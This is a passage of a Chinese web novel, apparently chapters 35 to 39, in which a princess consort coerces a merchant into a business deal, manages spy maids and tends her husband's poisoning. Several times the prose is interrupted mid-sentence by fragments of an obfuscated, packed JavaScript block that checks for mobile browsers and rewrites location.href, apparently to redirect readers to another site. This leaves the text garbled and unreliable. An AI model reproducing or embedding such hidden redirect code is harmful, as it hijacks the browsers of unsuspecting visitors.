他转过头,看到自己府上的老管家被一个女人揪着头发,顿时怒火三丈。 “来人,把她给我抓起来!” “本宫看谁敢。”温斩月松开老管家。 她信步闲庭,走到凉亭中。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841235|175100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“不想死的,都滚。” 舞女歌姬都是来赚钱的,一看就知道来人不是好惹的主,纷纷退了下去。 上官白冷着脸,走到温斩月面前。 “你打伤了本公子,还赶走本公子的人。” “扫了本公子的兴致,你可想好怎么赔了吗?” 温斩月冷嗤一声,“赔?本宫没想赔,不过……本宫可以送你一笔划算的买卖,只要你肯,一定能赚得盆满钵满。” “你说什么?”像是听到什么好笑的话,上官白笑出了声。 “你要不出去打听打听,我上官白像缺钱的人吗?” “没有人会嫌自己钱多的。”温斩月坐下,“你不妨试试。” “不用了。”上官白拒绝。 “和银两相比,我的时间是更宝贵的,本公子并不想把时间浪费在一些不重要的事情上。”上官白掏出手帕,擦掉脸上的血迹。 “本公子金枝玉叶,你赔点医药费,本公子也就不难为你了。” 温斩月从怀里掏出一锭金子。 “俗气。”上官白摇头,“钱本公子不缺,你赔点别的。” 他上下打量着眼前的人,眼中戏谑。 “不如你陪本公子睡一晚,这账就一笔勾销。” “本宫看你真是在找死。” 温斩月本来打算先礼后兵的,但既然对方不喜欢以礼相待,那她就只能手段粗暴一些了。 上官白就是一个花花公子,赚钱的本事有,但武力值几乎等于零。 温斩月不费什么功夫就把人五花大绑了。 在自己的地盘,明目张胆地被**。 上官白觉得不可思议。 在天月,他只见过两个人这么嚣张,一个是他最讨厌的容妄,另外一个就是温斩月。 这夫妻俩,当真是嚣张到骨子里的人。 “你放开我!”上官白气得脸红脖子粗,“我姑妈可是当今太后,你得罪了我,就算你是夜王妃,也不会有好下场的!” “是吗?”温斩月将绳子打了个死结。 “那就看看咱俩谁先没有好下场。” 上官白在京都城里横行霸道惯了,别人听见他的名头,知道他的背景,对他都十分尊敬。 这辈子只有两次被人折辱。 上一次还是很小的时候,得罪了容妄,被容妄绑起来吊在城门口三天三夜。 也正是因为如此,他十分厌恶容妄。 可没想到这么多年过去了,他又被容妄的王妃给绑了。 他这辈子真就是跟夜王府的人犯冲! …… 温斩月将上官白带去珍宝楼的时候,天色已晚。 梨落刚算完一笔账,准备回府,就看到温斩月拖着上官白走了进来。 “这,这,这是在干嘛?”梨落急忙上前。 温斩月把手里的男人往前一推。 “不太听话,用了点手段。” 梨落感觉自己天都要塌了,她颤抖着声音道:“我不是说让你对他态度好一点吗?” “敬酒不吃吃罚酒,我能怎么办?”温斩月走过来,倒了杯茶水。 一路拖着这个废物走来,她还真是有点渴了。 梨落再次两眼一黑,恨不得直接撞墙算了。 她豁出去不顾自己的疼痛干预剧情,没想到,反而弄巧成拙,这下好了,上官白不得恨死她家阿月啊。 “抱歉抱歉,阿月行事的确急躁,但公子千万别误会,阿月对你没有恶意。”梨落手忙脚乱地给上官白解开绳子。 “这叫没有恶意?”上官白卷起自己的裤腿。 他不想配合,温斩月这个疯女人也不知道哪来的力气,直接拖着他往前走,他的膝盖被蹭破一大块皮,火辣辣的,疼得要死。 梨落:“……” 这难道就是天崩开局的难度吗。 “上官公子,我赔您医药费,您别跟阿月一般计较,可以吗?”梨落讨好道。 上官白一肚子的邪火无处发,不敢对着温斩月,只能将气全都撒在梨落头上。 “不可能!本公子非把她皮扒下来一层不可!” 上官白的话刚说完,就被温斩月从屁股上狠狠踹了一脚。 “你扒一个给本宫瞧瞧。” “你别太嚣张,等本公子……”上官白的话戛然而止。 第36章 打一巴掌给个甜枣 在他的**,插着一根**。 距离他的命根子半寸不到。 他敢笃定,自己再说半句废话,肯定会被疯女人废掉。 “老实了?”温斩月斜睨一眼。 “早这么听话,本宫也不需这么费事了。” 拔下**,温斩月看向梨落,“人给你抓来了,你想要他做什么,当着我的面谈,谈完了我就把人送回去。” 梨落欲哭无泪,早知道她就应该跟上去。 现在倒好,弄巧成拙。 上官白的确老实了很多,虽然他心里还是很不服气,但碍于温斩月手里的**,他只能暂时忍气吞声。 事已至此,梨落只能硬着头皮把不夜城招商会的事情说了一遍。 一开始上官白的确没放在心上,在他看来,不过就是两个女人而已,妇道人家能闹出多大的动静。 但越听越不对劲。 在京都城里,尤其是做生意这一块,他上官白说第二,就不敢有人称第一。 西四街能有如今的繁华,全靠他完美的经营。 所以他不把钱放在眼里,也不把温斩月和梨落放在眼里。 但当他听完后,心里的那点不服气早就被震惊替代了,这种思路,这种模式,他敢说,绝对是前无古人后无来者。 “倒是有点东西。”上官白冷哼一声。 “但你的这种模式是需要特权书的,据我所知,特权书很难拿的,我……” 上官白的话还没说完,梨落就从一旁拿出了特权书。 “你怎么做到的?”上官白不可思议。 他拿着特权书来来**看了好几遍,确定是真的,看向梨落的眼神顿时有几分肃然起敬。 “这东西很难拿到,我找人弄了好几次,都没有到手。” “特权书是阿月拿的。”梨落耸耸肩。 上官白看向温斩月。 温斩月环抱着胸,依靠在窗前。 她去找容妄要特权书的时候,容妄的确说有点棘手,但具体怎么拿到的,她并不清楚。 她以为凭借容妄的身份,拿到特权书不是什么难事呢。 但看上官白的反应,这个特权书好像不是只凭着位高权重就能拿到,否则有太后从中转圜,上官白不可能拿不到。 “不该你操心的,少问。”温斩月冷声道。 上官白自讨了个没趣,依依不舍地将特权书还回去。 “你们刚才说的本公子都已经知道了,但本公子还需要时间考虑一下。” “给你半炷香。”温斩月拿出帕子,擦了擦**。 “开始考虑吧。” 上官白心中愤愤,可是对上温斩月,他又敢怒不敢言。 “其实也没那么着急的。”梨落急忙打圆场,“您可以回府慢慢考虑,三天之内给答复就行。” “这还差不多。”上官白整理了下衣服,站起身来。 “就半炷香。”温斩月阴恻恻道:“考虑不出个结果,不许离开珍宝楼半步。” “阿月!”梨落上前劝说道:“上官公子是贵宾,对待贵宾要有礼貌。” “我已经很收敛了。” 梨落:“……” 上官白:“……” 这个疯女人到底知不知道收敛为何物啊? 上官白可不想再去尝试温斩月折磨人的手段,他假装思索了片刻,便勉为其难地答应了。 “我可以做这笔生意,但我要五分利。” “五分?你怎么不去抢啊?”一说到钱,梨落瞬间没了好态度。 “主意是我的,特权书也是我弄到的,你只需要出点钱再出个人,就因为这个你跟我要五分利,是你疯了还是我疯了?” “就五分,一点都不能少。” “我看真是给你脸了。”梨落冷哼一声。 “阿月,我觉得你说得对,他就是敬酒不吃吃罚酒,交给你了。” 没了梨落护着,温斩月擦拳磨掌。 上官白顿时脸色一白。 “不是,我就是开玩笑的,一切好商量。” “五分我也觉得太过分了,三分怎么样,三分够意思了吧。” “三分已经很少了,我都没有在京都城做过这样的生意,你们要是不满意的话,二分,二分总可以了吧。” “不是吧,二分都不行,那我真的不能再让步了。” 温斩月捏的手指咔咔作响。 上官白冷汗岑岑,“要不这样吧,一分,一分,真的不能再低了。” 温斩月看向梨落,见梨落点点头,她才收手。 “早这样不就好了?怎么总是喜欢非暴力不合作呢。”梨落吩咐伙计端上来一壶酒。 “来吧,为我们的合作干杯。” 上官白很想拒绝,但看了一眼温斩月,只能端起酒杯仰头喝下。 签完契约,敲定合作,梨落便去忙别的事了。 温斩月好人做到底,雇了个马车送上官白回去。 马车里,温斩月从怀里掏出一瓶金疮药扔到上官白的怀里。 “这算打一巴掌给个甜枣吗?”上官白没好气道。 温斩月没理他。 上官白忍不住嘟囔一句,“你这么凶,也不知道容妄喜欢你什么?” 大概是容妄两个字触发了关键词,温斩月突然好奇道:“你为什么不喜欢容妄?” “不喜欢就是不喜欢,哪有那么多理由。”上官白将金疮药重新扔回给温斩月。 “虽然本公子已经同意与你们合作,但你今日弄伤本公子的事,本公子绝不会就这么算了,迟早有一天要讨回来!” 温斩月眼神凉凉的瞟了一眼。 她根本不在乎上官白日后会不会给她使绊子,反正她也没在怕的。 只要能完成合作,过程什么的,都不重要。 将上官白送回去后,已经是黑夜了。 温斩月本想去看看谢洲白的伤势,想了想还是算了,回到府里后,她直奔锦绣阁。 春夜在院子门外等着,看到自家王妃回来,急忙迎上去。 “王妃,您总算是回来了。”春夜哭着一张脸,“那良辰和美景非要留在锦绣阁里伺候,奴婢说什么她们都不听,还把锦绣阁的东西都清理了一遍。” 乍一听到良辰美景四个字,温斩月还有点懵。 稍后才想起来,赵如银往府上塞了两个人,被她改名叫良辰美景了。 “这么心急吗?”温斩月声音凉凉。 “本宫还以为她们会至少会装一段时间呢。” 来到锦绣阁,温斩月看着房内被清理过一遍的样子,眼神阴恻恻的,压着怒意。 良辰美景见温斩月回来,急忙迎上来。 “奴婢参见王妃。” 温斩月看了一眼二人,走到一旁的榻前坐下。 “谁让你们来锦绣阁伺候的?” “是王爷。”良辰比美景胆子大一些。 “王爷说身边不需要人侍奉,便让奴婢们来伺候王妃。” “王妃有什么吩咐奴婢们都会办好的。”美景附和道。 温斩月上下打量着两人,狐疑的目光扫过两人精致的面庞。 “长得这么好看,只做一些洒扫的活计,也太屈才了。” “能伺候王妃,是奴婢前世修来的福气,奴婢们高兴还来不及,怎么还会觉得委屈呢?” “嘴真甜。”温斩月笑着,笑意却不达眼底。 “既然你们决定留在本宫的身边,那本宫便要同你们立一立规矩。” “本宫不喜闹,锦绣阁内,身边只留着春夜一个丫鬟,以后你们就在外院伺候,听从春夜的调遣。” “像今天清理锦绣阁这种事情,本宫希望以后都不要发生。” “另外,本宫知道你们是皇后的人,她把你们送到本宫身边来,肯定是有别的原因,本宫不会为难你们,但也希望你们能管住自己的嘴。” “以后若是说了什么不该说的,做了什么不该做的。” “相信我,本宫的手段绝不会比皇后仁慈多少。” 温斩月没指望两人能规规矩矩地听话,但她必须把丑话说在前头。 “王妃放心,奴婢们以后一定遵守王妃的规矩,绝不越雷池一步。” “识相就好。” 温斩月朝着春夜使了个眼色。 “美景你先跟春夜下去,良辰留下,本宫有话要同你说。” “是。”良辰看了一眼美景。 美景眼中的害怕不似作伪,但还是跟着春夜离开了。 偌大的锦绣阁里,就只剩下温斩月和良辰。 从榻前起身,温斩月来到良辰面前,绕着良辰转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“本宫只是想告诉你,在不清楚对方底牌的情况下,不要轻易地暴露自己的软肋。” “本宫府上不养闲人,但也不多美景一个。” “你是谁的狗,本宫一清二楚,她用什么样的方式拿捏你,本宫同样也可以,刚才这一出只是以防你没把本宫刚才的话放在心上,所以特意再来警告你一次。” “你守规矩,她就平安。” 温斩月松开良辰,良辰手里的发钗落在地上,发出一声脆响。 她眼中纠结,但片刻后,似乎已经想好了决定。 “奴婢愿意誓死追随王妃。”良辰再度跪下身去,“还请王妃救救美景。” “哦?”温斩月拖长语调。 良辰也不瞒着,“皇后娘娘给美景身上下了毒,她命令奴婢定期把夜王府发生的事情都要告知于她,否则,就不给美景解药。” “你还算识趣。”温斩月转过身,回坐在榻上。 “她怎么吩咐你的,你便怎么做吧,但什么该说,不用本宫教你吧。” “奴婢明白。” “等过段时间,本宫心情好一些了,说不定可以给你美景的解药。” “王妃说的是真的吗?”良辰猛地抬起头。 温斩月摆摆手,示意良辰退下。 她可是玩毒的祖宗,天下奇毒,她全都知晓。 虽然不确定赵如银下在美景身上的是什么,但她照样能解,实在不行,她也能寻个别的方子,压制住美景体内的毒性。 解决了良辰美景的问题,温斩月才感觉有些累了。 她吩咐春夜烧好热水,便去准备沐浴了。 此时此刻,夜王府的书房里,容妄来来**地踱步,心里焦躁难忍。 他都一天没理他的王妃了,可那女人竟一点反应都没有,为了气她,他甚至都安排皇后送来的人去锦绣阁挑衅了,但…… 容妄越想越觉得心里没底,他抬起头看着同样一脸焦躁的青澜。 “你这破方法到底管不管用?” 第37章 得不到就毁掉 青澜自己心里也打着鼓呢。 毕竟王妃跟一般人女人不一样。 但当着自家王爷的面,他也不敢实话实说,只能硬着头皮点点头。 “王爷就放心吧,过不了几天,王妃肯定能乖乖过来跟您认错的。” “过不了几天是几天。” “就,就几天。” “具体是几天?” 容妄步步紧逼,青澜没有办法,只能试探道:“七日?” “什么?” “五日,就五日。” “本王给你三日的时间。”容妄皱着眉头,“三日之内,王妃要是还没来见本王,本王就把你送去见玄雾。” 从书房出来,青澜一个头有两个大。 本来想要去拜托梨落姑娘,看看能不能从中转圜,但也不知道梨落姑娘一天到黑的在忙什么,他连人影子都看不到。 此时天色又晚,他要是上门拜访的话,会不会有点冒犯? 青澜心里面虽然有点顾忌,但一想到自己要是完不成自家王爷交代的事情,就会被送到大哥身边去。 他好不容易才逃脱了大哥的魔爪,绝对不要再回去。 打定了主意,青澜也就顾不上许多了,回到自己的房间挑了几样宝贵的东西当礼物,便去了王府隔壁的宅子。 为了节省时间,他没有从正门进入,而是直接翻墙。 刚一进去,就看到院子里坐着一个男人,穿的单薄,一直不停的咳嗽。 青澜心中疑惑,往跟前一走,下意识脱口而出。 “谢粥白?” 谢粥白听到声音,侧过头,“青澜?” “你怎么在这里?”青澜走过来,上下打量了谢粥白一眼。 看到谢粥白身上触目惊心的伤口,更是忍不住眉头一皱。 不是吧,他家王妃已经这么变态了吗?背着他家王爷养男人就算了,养的人还是跟他们相熟的谢粥白。 看谢粥白的样子,该不会被王妃强行圈禁了吧。 也是,谢粥白一身风骨,肯定不会屈于一个女人的**之下,能把谢粥白圈禁在这里,肯定是上了些手段的。 不对不对,这是重点吗? 青澜摇摇头,甩掉脑子里这些乱七八糟的思绪。 温斩月这个女人玩的是真花,居然灯下黑,给他家王爷带绿帽子。 怪不得跟他家王爷置气呢,原来是有新欢。 青澜脸上的表情十分复杂,谢粥白看的稀里糊涂,他伸出手在青澜面前晃了晃。 “你想什么呢?” “没什么。”青澜回过神来,“就是不明白你怎么会在这里?” “怎么?青澜你认识这家宅院的主人。” “这不是废话吗?”青澜说完,又觉得不对,留了个心眼,多问了一句,“难道你不知道?” 谢粥白点点头。 “我被人欺负,是月公子救了我,若你知道月公子的身份,可否告知于我,滴水之恩方得涌泉相报,月公子救了我的命,以后有需要我的地方,粥白绝不会推辞。” 青澜心中惊了一下。 幸好刚才他多问了一句,不然肯定就闯祸了。 “我其实跟月公子不熟,我只知道这座宅院的主人是梨落姑娘,你有什么想问的,可以去找她。” “实不相瞒,梨落姑娘太忙了,我一直都没能见到她。” “什么意思?她现在不在府中吗?” “不在。”谢粥白摇头。 青澜有些垂头丧气,这不是又白跑一趟了吗?看来守株待兔是没有用的,他必须想个办法,把人给堵了。 谢粥白还想多问一下月公子的事情,奈何青澜不配合。 谢粥白只得作罢。 不过青澜也不是一点良心都没有,毕竟是老相识,他从怀里掏出几瓶随身携带的金创药。 “诺,便宜你了。” “多谢。”谢粥白没有推辞。 “你还是和边疆时候一样,热心肠。” “我只是希望你快点好起来。”青澜心中忍不住嘀咕。 要说这个谢粥白也真是的,当年在边疆的时候,就一直插在秦姑娘和他家王爷中间,如今回到京都了,又插在了王妃和王爷之间。 他现在也不知道,这到底是劫还是缘了。 …… 京都,林府。 自从温斩月闹了一次后,林清霜在府中的日子便好过了许多。 林素虽然还是不喜这个女儿,但该有的排面却没再少,毕竟温斩月走的时候留下了两双眼睛,林素不敢再找死。 “小姐,梨落姑娘来了。”丫鬟银杏走来,身后跟着梨落。 林清霜急忙迎上来,她现在脸上带着面纱,只能露出两个眼睛,但即便如此,依旧能看出来她十分开心。 “梨落姑娘。”林清霜拉着梨落坐下,吩咐银杏去看茶。 梨落从怀里拿出药和药房,“我今日来就是送药的,以后就按照这上面的抓药,过一段时间,应该就好的差不多了。” “我记下了。” 林清霜将药和药方都收了起来。 “梨落姑娘,我有件事想和王妃商量,不知王妃最近有没有时间,我想亲自去拜访一趟。” “你说的是和风展的婚事吧?” “梨落姑娘怎么知道?”林清霜有些诧异。 “风将军来时,我跟他说不要告诉旁人的。” “你别管我怎么知道的。”梨落沉思片刻,“这件事情你不需要和王妃商量,只要遵从你自己的本心即可。” “真的可以遵从本心么?”林清霜低下头。 虽说她和风展接触的时间并不长,但心动也就是一瞬间的事。 尤其是流言满天飞的时候,她真的没想到风展会为了平息流言蜚语而决定娶她。 尤其是风展的那句话。 想到风展来提亲时的模样,林清霜就觉得心里甜丝丝的。 就算是带着面纱,梨落也从林清霜的眼睛里看到了爱慕,她嘴上没说话,但却在心里面叹了口气。 天下有情人终成眷属。 但也都命赴黄泉。 “行了,这件事你就自己拿主意吧。”梨落起身。 “该传达的我都传达完了,记得成亲时,送一张请帖给我,到时候我一定亲手给你准备一份大礼。” “那清霜就在此谢过梨落姑娘了。” 梨落没在林府多待,她前脚刚走,后脚就有人去通知了林轻盈母女。 “娘,这夜王妃到底是什么意思?”林轻盈怒火中烧,“她这样护着林清霜那个**,娘亲想要扶正就太难了,那我以后只能是庶女,嫁人都挑不到好人家,而且,风展将军那样好的人居然要迎娶林清霜这个丑八怪,我真是咽不下这口气!” 张氏何尝不是窝着一肚子的火。 这么多年,她一直苦心筹谋,为的就是当家主母的位置。 只要她能上位,她的女儿也可以是嫡女,到时候放眼整个京都城,还怕挑不到好夫婿么? 可谁知道人算不如天算,夜王妃从中作梗,横插一脚,她的谋划全部都毁了。 若是真让风展迎娶了林清霜的那个丑八怪,那她和她的轻盈这辈子都翻不了身了。 她决不允许这样的事情发生。 “这件事情还没完,只要婚事一天不敲定,那这一切就都还有转机。” “怎么转?”林轻盈埋怨道:“风展将军都愿意了,林清霜要是不傻,肯定不会拒绝的。” “你觉得风展将军怎么样?”张氏忽然抬起头,看着自己的宝贝女儿。 林轻盈想了想,道:“接触的不多,不知道是什么样的人,但他连林清霜这种丑八怪都娶,我觉得他眼睛肯定是瞎了。” “话也不能这么说,为娘倒是觉得风将军品行不错,他连林清霜都要,若是有一个更美貌的妻子,那他肯定会更喜欢。” “娘亲的意思是?” “替嫁。”张氏脸上露出得意的笑容。 林轻盈一愣。 她从来都没有想过要嫁给风展,毕竟两人从未交集过。 但她只是区区一个庶女,风展可以说是她能接触到最好的夫婿人选了,要是错过这次机会,保不齐她以后…… 一想到林清霜要凭借这桩婚事,坐稳位置,她心里就十分不爽。 她不喜欢风展,但她得不到的,林清霜也休想得到。 “娘亲,这件事万一要是被发现了怎么办?” “不打紧,你只需要告诉娘亲,你愿不愿意?”张氏阴沉着笑意。 “只要你肯,剩下的都可以交给为娘,为娘一定把事情处理的妥当,万一东窗事发,为娘也可以将脏水泼到林清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些工匠手里都做着活计呢,莫名其妙的被抓来,心里都有些怨言。 可手里拿到沉甸甸的银两,大家的怨气瞬间就没了。 “王妃真大方啊,这半年我都挣不了这么多。” “早知道能给这些,刚才我就不挣扎了,你看我的手,全都蹭破皮了。” “就是就是,有了这些钱,我至少能休息半个月。” “说的是呢,王妃真是个好人。” 众人你一言我一语,说的话都十分的中听。 温斩月没有理会众人的言论,命管事把人带到后院,温斩月将手里的图纸给了众工匠们。 “时间紧,任务重,需要的材料都在这里。” “你们只有两日的时间,做完后,本宫重重有赏。” “谁第一个做完,谁就能拿到这些赏赐。” 话音刚落,管事便端上来一盘金子,这些工匠们瞬间眼睛都直了,他们这辈子都没见过这么多的钱。 “好了,开始吧。” 温斩月命人搬来椅子,自己坐着当监工。 虽然她答应了梨落不**,可这些工匠的嘴是不是严丝合缝,她是不敢打包票的。 只能把梨落给她的图纸拆分,然后去变成零件给众人,她缩短工期,留了一天的时间给自己做组装。 希望一切都能来得及。 工匠们真的没有见过这么多的钱,惊讶过后,急忙开始干活。 大家谁都不理谁,生怕自己干的太慢,金子就被别人抢走了。 众人干的如火如荼,没有一个人有怨言。 这消息传到容妄的耳朵里,他多少有些好奇,可碍于面子又不想露面,只好派出青澜打探消息。 青澜自己也不敢太明目张胆,只能偷偷摸摸的瞧一眼。 他不懂这些乱七八糟有的没的,囫囵吞枣的看了个大概,便回来复命了。 “回禀王爷,王妃好像是在做什么东西,但是具体做什么,属下瞧不出来,不过这也算是个好消息,可能这段时间王妃就是太忙了,所以才没顾上王爷,她没有在生王爷的气呢。” 第38章 王爷真傻 青澜不提这个还好,一提这茬,容妄顿时火了。 “你的意思是本王还不如那一堆破木料有用?” “属下不是这个意思。”青澜连连摆手。 “那你是什么意思?”容妄现在看青澜哪哪都不顺眼,有种立刻就把他发配边疆的冲动。 青澜百口莫辩。 “王爷,要不属下去打听一下王妃最近在忙什么?要是王爷能帮帮王妃的忙,说不定王妃一高兴,就……” “你的意思是要本王去讨好她?” “属下也不是这个意思。”青澜冷汗岑岑。 “属下只是想说,王爷您要是受不了王妃冷暴力,那就只能主动出击了。” 青澜说完这句话,感觉自己离死不远了。 都说要远离谈情说爱的人,不然会被误伤。 一开始他还不信,至少他觉得自己王爷还是有点理智的,但现在看来,天下情侣都一样。 容妄心里烦躁得要命,他站起身来,忽然感觉身体一阵锥心之痛。 “王爷,您怎么了?”青澜急忙走过来。 容妄痛到说不出话,他从怀里翻出生息粉给自己服下。 三日欢的毒性被压制,疼痛暂缓。 容妄盯着手里的生息粉,忽然想到什么,将生息粉全部扔进了一旁的鱼缸里。 “王爷,您这是做什么?”青澜尖叫。 “去盯着王妃,算好时间,本王晚上毒发时,要她来。”容妄吩咐道。 他的阿月虽然生气,但绝不会不管他的性命。 青澜头皮发麻,他是怎么都没想到,为了哄好王妃,他家王爷连命都要豁出去了。 三日欢的毒虽然他没尝过。 但他见过王爷毒发时的模样,那种疼痛,他这辈子都不想体会。 果然情爱使人失去理智。 他以后万万不能动情。 …… 京都,上官府邸。 朱红色的大门前,定国公府的马车悠悠停下。 秦落雪从里面走出来,吩咐绿珠给管家递上拜帖。 老管家进去一趟,很快便出来,迎着秦落雪进了前厅。 “秦小姐稍等片刻,我家小公爷这就来。” 秦落雪点点头,坐下。 一旁的绿珠打量了一下周围的陈设,忍不住道:“小姐,这小公爷真会享受,你看看这府邸的建造,看上去就十分有格调。” “他有钱,想做什么自然就都做了。”秦落雪扫了一眼,心下已经有了打算。 绿珠眼珠子一转,忽然压低了声音道:“小姐,奴婢听说这小公爷也至今未娶呢,您要是能嫁给他,那就是名正言顺的正牌娘子,比侧王妃这个身份可好多了。” “别乱说。”秦落雪警告绿珠。 “他的身份可不是一般人能高攀得起的,我想嫁给夜王,是因为我们有青梅竹马的情分,但这位小公爷,可就不见得了。” 两人说话间,上官白手里摇着折扇就迈进来了。 看到秦落雪时,眼睛亮了亮。 “早就听闻秦小姐倾国倾城,今日一见,果然名不虚传。” “小公爷客气了。”秦落雪起身行礼。 上官白吩咐人看茶,示意秦落雪坐下说话。 “秦小姐今日来拜访,可是有什么要事?” “的确有事相求。”秦落雪转过头,从绿珠手里接过来一个折子,“京都城中,在经商这一块儿,小公爷称第二,绝不敢有人称第一,所以落雪冒昧前来,就是想要跟小公爷谈一笔生意。” “哦?”上官白眼角带笑。 “怎么最近都是找我做生意的。” “除了我还有谁来找过小公爷吗?”秦落雪追问。 上官白变了变脸色,很明显是想起了一些不太好的回忆,他摆摆手,道:“说多了晦气,秦小姐莫要再提。” 上官白拿着秦落雪递过来的折子看了一眼。 不得不说,这里面写的的确是有点东西,放眼天月,真的很少有女子能有这样的想法。 可比起…… 上官白叹了口气。 “秦小姐,你这里面写的东西的确不错,我承认,有些男子甚至都不如你,但还是……”上官白迟疑着。 “小公爷但说无妨。”秦落雪直问。 “那我可就直说了。“上官白放下手里面的折子。 “两日后我会在东六街参加一个招商会,秦小姐要是感兴趣,可以跟我一起去,等你见识过,便知道我为何这般态度了。” “东六街?”秦落雪疑惑。 “那里不是一直都生意惨淡,无人问津吗?” “那是以前了。”上官白笑着道:“相信我,等招商会过去,东六街会成为整个京都城最繁华的地方。” “比西四街还要繁华?” “当然。”上官白笃定。 “东六街的繁荣超过西四街,只是时间问题。” …… 秦落雪从上官府离开后,吩咐车夫去了东六街,到了地方,她没下车,只是远远的看了一眼。 整条街似乎都在重新翻修,面貌焕然一新,但除此之外,并没有其他变化。 “小姐,小公爷是不是猜错了啊。”绿珠疑惑的歪着头。 “这里看上去也没有什么不同吗?” “不会。”秦落雪笃定道。 “小公爷在别的事情上都可以开玩笑,但唯独做生意不会,这件事情肯定有蹊跷,只是我们看不出来而已。” “小姐,那位是不是夜王妃身边的梨落姑娘啊?”绿珠指着不远处的人影问道。 秦落雪看过去,眼神一变。 “怪不得小公爷会说那句话。” “哪句话?”绿珠不解。 秦落雪摇摇头,没再说什么。 看来温斩月还是比她提前一步找了上官白合作,而且看样子,上官白十分欣赏温斩月,否则,不会要她也来瞧瞧。 这个温斩月还真是她的克星。 抢男人她不行,抢生意她也略输一筹。 “绿珠啊。”秦落雪阴恻恻道:“你说,如果有人一直站在你的面前,阻挡你向上爬的路,你该如何?” “奴婢不知道。”绿珠摇摇头。 “但奴婢清楚,若是有块石头挡在奴婢的路上,奴婢一定会想办法搬走它,或者,粉碎它。” “说的也是。”秦落雪放下车帘。 容妄一事,她就已经觉得温斩月足够碍眼,现在又来抢她的生意。 这个人,怕是留不得了。 只是夜王府守卫森严,怕是不好得手。 对了。 两日后不是东六街的招商会吗? 这是温斩月的生意,她不可能不到场,如此好的一个时机,她决不能放过。 …… 夜王府,后院。 温斩月监工累了,躺在贵妃椅上打算小憩一会。 刚闭上眼,就被青澜给吵醒了。 “王妃,不好了!”青澜快步走来,额头上都是汗珠。 “王爷三日欢毒发了!” “什么?”温斩月猛地站起身来,“本宫不是刚给了他新的生息粉吗?” “都是属下的错。”青澜跪下。 “属下不小心把药瓶打翻,药粉全撒在水里了。” “你还真是……愚蠢!” 温斩月顾不上别的,急忙朝着书房里去。 书房内,容妄痛的浑身都湿了。 他紧紧的抓着衣服,整个人躺在地上,缩成一团。 温斩月推开门,看到的就是这样一幅场景。 她双目欲裂,急忙过去将容妄搀扶起来,“别怕,我来了。” 温斩月将容妄扶到椅子上坐下,封住了容妄的几个穴道,快速地摘下了自己的耳饰。 她耳饰里藏着生息粉,就是为了以备不时之需。 把生息粉给容妄服下,温斩月掏出帕子擦擦容妄脸上的汗。 “有没有舒服一点?” “阿月。”容妄抓住温斩月的手,眼神可怜。 “你还在生本王的气吗?” “不了。”温斩月摇头,“早就不生气了。” 容妄勾起唇角,将温斩月揽在怀里,“阿月能不生气,本王很开心。” “你……”温斩月狐疑的目光上下打量一眼。 “不会是故意卖惨让我心软吧?” “现在看来,这招很有用。”容妄死死地圈住温斩月。 “新婚夫妻哪有天天分房睡的,这书房,本王都睡腻了,今晚想住锦绣阁。” “可以。”温斩月没有拒绝。 “不过,就算住进锦绣阁,王爷今晚还是要独守空房。” “为什么?”容妄不解。 “你还在生气?” “不生了。”温斩月推开容妄,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她自己也不知道为什么容妄是个例外,但例外就是例外,总是无可替代。 “你的生息粉用完了,我去再做一点。” “好。”容妄松开。 温斩月在容妄的额头落下一吻,“我的故事还很长,等这段时间忙完,我会告诉你我身上所有的秘密。” “好,本王等你来坦白。” 从书房离开后,温斩月便让春夜去按照她的方子买了一些生息粉的原料。 她配出生息粉以后,吩咐春夜给青澜送去。 自己有马不停蹄的回到后院监工。 这些工匠其实也累了,可是看到黄灿灿的金子放在那里,大家都不想停下来,全都热火朝天干的正起劲。 夜王府后院灯火长燃,每个人都干劲十足。 天快亮的时候,厨房送来吃食,工匠们也都是快速地吃完,填饱肚子小憩一会儿,便又爬起来开始干活了。 有了金子的诱惑,两日内,竟然真的全部完工了。 温斩月仔细地检查过每一个零件,确定没有任何的问题,这才把钱给了工匠,叮嘱他们不能外传,要是消息泄露,就要把拿出去的钱加倍还回来。 这些人最最看重的便是钱财了,一听这话,一个个嘴巴都跟缝上了一样的严实。 打发工匠离开了王府,温斩月便屏退所有人,开始按照梨落给的图纸组装零件,她动手的速度不慢,但图纸相对复杂,她也是研究了好久才有思路。 期间春夜来禀报,说是秦落雪求见。 对于这几个女人她没什么好态度,便让春夜回绝。 被拒之门外的秦落雪也不觉得难堪,转过头要走时,恍惚间看到了一个熟悉的人影,进了王府旁边的宅院。 “绿珠,你刚才有看到谢洲白吗?” “谢公子?”绿珠放眼望去,什么都看不见。 “小姐莫不是看花眼了吧,谢公子怎么会在这里?” “我刚刚看到他进了那座宅院。” “那更不可能了。”绿珠摇头,“不是奴婢瞧不起谢公子,夜王府旁边那座宅院,他这辈子都买不起。” 第39章 招商会 绿珠这话说得很不好听。 